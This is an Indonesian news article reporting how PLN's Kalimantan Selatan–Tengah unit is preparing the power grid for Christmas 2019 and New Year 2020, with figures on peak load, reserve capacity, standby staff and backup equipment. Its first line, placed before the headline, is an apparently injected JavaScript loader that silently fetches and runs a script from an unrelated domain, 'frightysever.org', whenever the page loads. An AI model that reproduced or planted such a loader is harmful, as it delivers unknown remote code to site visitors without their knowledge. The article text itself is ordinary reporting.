(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN KALSELTENG

PLN Perkuat Sistem Hadapi Natal dan Tahun Baru 2020


BANJARBARU, PT PLN (Persero) Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah (PLN UIW Kalselteng) berkomitmen sukseskan perayaan Natal 2019 dan Tahun Baru 2020 dengan meningkatkan keandalan suplai jaringan listrik di Provinsi Kalimantan Selatan dan Provinsi Kalimantan Tengah.

General Manager PLN UIW Kalselteg, Sudirman menegaskan pihaknya sudah mempersiapkan strategi operasi kelistrikan secara khusus untuk hadapi Natal dan Tahun Baru 2020. Langkah yang dilakukan mulai dari tahap persiapan sistem, mitigasi risiko, penetapan masa siaga, hingga penetapan daerah pantauan khusus.

“Untuk sukseskan perayaan Natal dan Tahun Baru 2020 kami sudah siapkan prosedur strategi operasi secara khusus, dengan harapan selama perayaan Natal dan Tahun Baru 2020 tidak ada kendala dalam suplai listriknya, sehingga aktivitas dan ibadah masyarakat dalam keadaan nyaman dan khidmat,” ungkap Sudirman.

Sudirman menjelaskan langkah persiapan sistem yang dilakukan pihaknya dimulai dengan memastikan keandalan sistem pembangkit dan sistem jaringan transmisi. Berdasarkan neraca daya sistem interkoneksi Kalselteng – Kaltim saat ini, diperkirakan beban puncak saat perayaan Natal dan Tahun Baru sebesar 1.075 Mega Watt (MW), dengan daya mampu yang tersedia sebesar 1.273 MW.

“Sebagai langkah awal, tentu kami pastikan keandalan dari sisi pembangkit dan transmisi. Berdasarkan pantauan kami sampai saat ini, saat perayaan Natal dan Tahun Baru nanti masih ada cadangan daya sebesar 198 MW, itu artinya daya tersebut sangat cukup sebagai cadangan,” jelasnya.

Dari sisi keandalan jaringan distribusi listrik ke pelanggan, Sudirman memaparkan mitigasi risiko yang dilakukan PLN untuk mencegah terjadinya gangguan dengan melakukan upaya predictive maintenance, yakni melakukan perintisan pohon dan pemeriksaan jaringan, khususnya di titik rawan yang berpotensi sebagai penyebab gangguan. Selain itu PLN juga melakukan upaya corrective maintenance, yakni upaya percepatan penyelesaian gangguan yang bisa terjadi akibat faktor alam seperti hujan, sambaran petir dan kerubuhan pohon.

“Perintisan pohon yang berpotensi mengganggu jaringan listrik sudah kita selesaikan. Dan masa siaga sudah kita tetapkan mulai dari tanggal 18 Desember 2019 hingga 8 Januari 2020, Itu artinya Untuk pemeliharaan rutin saat ini sudah kita hentikan, kami hanya fokus melakukan upaya corrective maintenance saja. Jadi jika ada padam listrik saat ini, itu bukan karena adanya pemeliharaan, murni karena gangguan,” ungkapnya.

Untuk memastikan percepatan penyelesaian gangguan akibat faktor alam, Sudirman mengatakan PLN sudah mengerahkan sebanyak 950 petugas pelayanan teknik yang akan siaga 24 jam mulai dari tanggal 18 Desember 2019 sampai dengan 8 Januari 2020. Selain itu untuk mendukung mobilisasi petugas, PLN menyiapkan sebanyak 128 unit kendaraan roda empat dan 79 unit roda dua.

“Jumlah personil dan armada yang kami siapkan saat ini lebih banyak dari tahun sebelumnya. Sebanyak 501 petugas kami siapkan di Kalsel dan 449 petugas di Kalteng. Ini merupakan bentuk komitmen kami yang secara serius ingin sukseskan perayaan Natal dan Tahun Baru 2020,” pungkasnya.

Selain itu Sudirman menjelaskan strategi percepatan penyelesaian gangguan di daerah pantauan khusus atau kondisi yang harus ditangani segera, pihaknya akan melakukan skema pengamanan khusus dengan menyediakan Unit Gardu Bergerak (UGB) sebanyak 21 unit, Unit Kabel Bergerak (UKB) 3 unit, Uninterruptible Power Supply (UPS) 7 unit, dan Genset sebanyak 59 unit.

Meskipun sudah melakukan berbagai upaya agar suplai listrik saat Natal dan Tahun Baru tetap terjaga, Sudirman juga menegaskan bahwa gangguan alam merupakan salah satu faktor utama penyebab padam yang terjadi diluar kendali PLN. Terutama gangguan petir di musim penghujan seperti saat ini yang bisa menyebabkan gangguan pada jaringan transmisi dan sistem kelistrikan secara meluas. Maka dari itu apabila terjadi padam, Sudirman meminta bantuan masyarakat untuk segara melapor kepada PLN melalui Contact Center 123.

“Jika masyarakat menemukan potensi gangguan jaringan PLN, atau terjadi padam, bantu kami dengan segera lapor dengan menghubungi Contact Center PLN 123. Bersama, mari kita sukseskan perayaan Natal dan Tahun Baru 2020 di Kalsel dan Kalteng,” ungkap Sudirman. (cel/rls)

Reporter : Cel/rls
Editor : Chell


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

9 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

15 jam ago

This website uses cookies.